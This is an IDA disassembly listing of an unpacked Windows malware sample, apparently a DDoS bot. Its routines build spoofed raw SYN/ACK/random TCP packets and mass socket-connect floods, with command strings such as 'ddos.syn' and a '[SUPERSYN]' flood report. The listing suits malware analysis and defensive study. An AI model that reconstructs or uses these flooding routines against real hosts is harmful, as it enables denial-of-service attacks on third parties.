;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2C18C25AE71B27E4EEC5776FF68FA657

; File Name   :	u:\work\2c18c25ae71b27e4eec5776ff68fa657_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0008C000 ( 573440.)
; Section size in file		: 0008C000 ( 573440.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A17o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	near ptr 25E08E4h
		nop
		push	eax
		call	sub_417302
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h


loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------


loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43F668
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43F668
		mov	[ebp+var_12], ax
		call	sub_41730C
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43F664
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43F668
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 25F0000h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 25E0925h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_14], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 25E0925h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------


loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------


loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43F700
		pop	esi


loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43F5C8
		mov	eax, ebx


loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax


loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C05o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]


loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172B0
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25E02EAh
		nop


loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh


loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh


loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax


loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_43C3E8, 45h
		call	dword_43F668
		cmp	[ebp+var_2C], edi
		mov	word_43C3EA, ax
		mov	word_43C3EC, bx
		mov	word_43C3EE, di
		mov	byte_43C3F0, 80h
		mov	byte_43C3F1, bl
		mov	word_43C3F2, di
		jz	short loc_401687
		call	sub_41730C
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		push	1
		mov	dword_43C3F4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------


loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	dword_43C3F4, eax


loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_43C3F8, eax
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FC, dl
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FD, dl
		call	sub_41730C
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43C3FE, di
		mov	word_43C402, bx
		inc	edx
		mov	word_43C400, dx
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C404
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C3E8
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------


loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh


loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43F668
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop


loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		call	near ptr 25F0439h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx


loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax


loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3908o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------


loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43F668
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
